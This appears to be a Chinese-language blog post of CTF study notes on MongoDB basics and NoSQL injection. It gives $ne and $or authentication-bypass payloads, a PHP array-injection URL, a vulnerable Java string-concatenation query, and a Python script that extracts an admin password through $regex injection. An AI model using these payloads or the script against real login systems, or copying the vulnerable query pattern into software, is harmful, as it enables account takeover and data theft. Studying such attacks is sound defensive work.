前言

前不久比赛遇到了,比较老套,但是还是打算学习一下,就当了解一下MongoDB,记录为主,后面遇到了再补

MongoDB

NoSQL(NoSQL = Not Only SQL ),指的是非关系型的数据库。是对不同于传统的关系型数据库的数据库管理系统的统称。这些类型的数据存储不需要固定的模式,无需多余操作就可以横向扩展。
MongoDB 是一个基于文档的 NoSQL 数据库,数据以 BSON(Binary JSON) 格式存储在数据库中,BSON 是二进制编码的 JSON 扩展,数据结构由键值(key=>value)对组成。

MongoDB基础语法

结构

数据库(Database):存储数据的容器
集合(Collection):数据库中的一个集合
文档(Document): 集合中的一个数据记录

1
2
3
4
5
6
7
8
9
10
11
12
{
"title" : "MongoDB 教程",
"description" : "MongoDB 是一个 Nosql 数据库",
"by" : "菜鸟教程",
"url" : "http://www.runoob.com",
"tags" : [
"mongodb",
"database",
"NoSQL"
],
"likes" : 100
}

执行操作

MongoDB不同于关系数据库不是用语句来增删改查,而是通过类似于函数的方式,将执行和数据分离,天然具有预编程的特性,所以利用方式有一点的局限性

1
2
3
4
db.myCollection.find(
{ age: { $gt: 25 } },
{ name: 1, age: 1, _id: 0 }
);

MongoDB 查询文档

  1. 使用比较操作符
    1
    2
    3
    4
    5
    6
    7
    {"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }

    $lt <
    $lte <=
    $gt >
    $gte >=
    $ne !=
  2. 使用逻辑操作符
    就是逻辑条件里的与或非
    1
    {username: 'weiyi', $or:[{}, {'a':'a', password: ''}] }
  3. 正则
    { name: /^A/ }
    {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}

    利用手法

    PHP数组注入

    php有使用数组的方式而非字符串拼接的方式构造语句
    1
    2
    3
    4
    5
    $data = array(
    'username'=>$username,
    'password'=>$password
    );
    $data = $coll->find($data);
    我们就可以利用这个特性往数组的键名传递一个操作符(大于,小于,等于,不等于等等),从而达到利用的目的:
    ?username[$ne]=1&password[$ne]=1

直接拼接造成的注入

1
2
3
String stringQuery = "{ 'username' : '" + name + "', 'password' : '" + password + "'}";
DBObject databaseQuery = (DBObject)JSON.parse(stringQuery);
DBCursor result = this.characters.find(databaseQuery);
1
2
3
4
5
6
7
8
9
10
11
12
13
mylist = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""
proxies = {}
for i in range(32):
for j in mylist:
data = {
"username":"admin",
"password":"','password':{'$regex':'^"+password+j+".*'},'username':'admin"
}
r = requests.post(url,data=data,proxies=proxies)
if r.text.find("username or password incorrect")==-1:
password+=j
print(password)